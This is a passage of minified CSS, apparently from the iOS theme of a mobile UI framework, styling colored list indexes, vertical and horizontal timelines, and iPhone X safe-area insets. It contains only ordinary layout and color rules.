ul{color:#4cd964}.ios .list-index.color-green .list-index-label,.ios .list-index.color-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .list-index.color-blue ul{color:#007aff}.ios .list-index.color-blue .list-index-label,.ios .list-index.color-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .list-index.color-pink ul{color:#ff2d55}.ios .list-index.color-pink .list-index-label,.ios .list-index.color-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .list-index.color-yellow ul{color:#fc0}.ios .list-index.color-yellow .list-index-label,.ios .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .list-index.color-orange ul{color:#ff9500}.ios .list-index.color-orange .list-index-label,.ios .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .list-index.color-gray ul{color:#8e8e93}.ios .list-index.color-gray .list-index-label,.ios .list-index.color-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .list-index.color-white ul{color:#fff}.ios .list-index.color-white .list-index-label,.ios .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.ios .list-index.color-black ul{color:#000}.ios .list-index.color-black .list-index-label,.ios .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:left}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.ios .timeline{margin:35px 0;padding:0 15px}.ios .block-strong .timeline{padding:0;margin:0}.ios .timeline-item{padding:2px 0 15px}.ios .timeline-item:last-child{padding-bottom:2px}.ios .timeline-item-content .block,.ios .timeline-item-content .card,.ios .timeline-item-content .list,.ios .timeline-item-content.block,.ios .timeline-item-content.card,.ios .timeline-item-content.list{margin:0;width:100%}.ios .timeline-item-content .block+.block,.ios .timeline-item-content .block+.card,.ios .timeline-item-content .block+.list,.ios .timeline-item-content .card+.block,.ios .timeline-item-content .card+.card,.ios .timeline-item-content .card+.list,.ios .timeline-item-content .list+.block,.ios .timeline-item-content .list+.card,.ios .timeline-item-content .list+.list{margin:15px 0 0}.ios .timeline-item-inner{border-radius:7px;padding:8px 15px}.ios .timeline-item-inner+.timeline-item-inner{margin-top:15px}.ios .block-strong .timeline-item-inner{border-radius:3px;border:1px solid rgba(0,0,0,.1)}.ios .timeline-item-divider{margin-left:15px;margin-right:15px}.ios .timeline-item-time{margin-top:15px;color:#6d6d72}.ios .timeline-item-time:first-child,.ios .timeline-item-time:last-child{margin-top:0}.ios .timeline-item-title{font-size:17px;font-weight:600}.ios .timeline-item-subtitle{font-size:15px}.ios .timeline-sides .timeline-item{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item-left .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item-right{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item-right .timeline-item-date{text-align:right}@media (min-width:768px){.ios .tablet-sides .timeline-item{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item-left .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item-right{margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item-right .timeline-item-date{text-align:right}}.ios .timeline-horizontal{padding:0;margin:0}.ios .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:10px}.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after,.ios .timeline-horizontal>.timeline-item:last-child:after{display:none!important}.ios .timeline-horizontal .timeline-item-date{background:#f7f7f8;padding:0 10px}.ios .timeline-horizontal .timeline-item-content{padding:10px;height:calc(100% - 10px)}.ios .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-month .timeline-item:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-horizontal .timeline-year:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-year:last-child:after{display:none!important}.ios .timeline-month-title,.ios .timeline-year-title{padding:0 10px;background:#f7f7f8}.ios .timeline-month-title span,.ios .timeline-year-title span{left:10px}.ios .timeline-year-title span{margin-top:3px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(10px + constant(safe-area-inset-left));padding-left:calc(10px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-right-edge 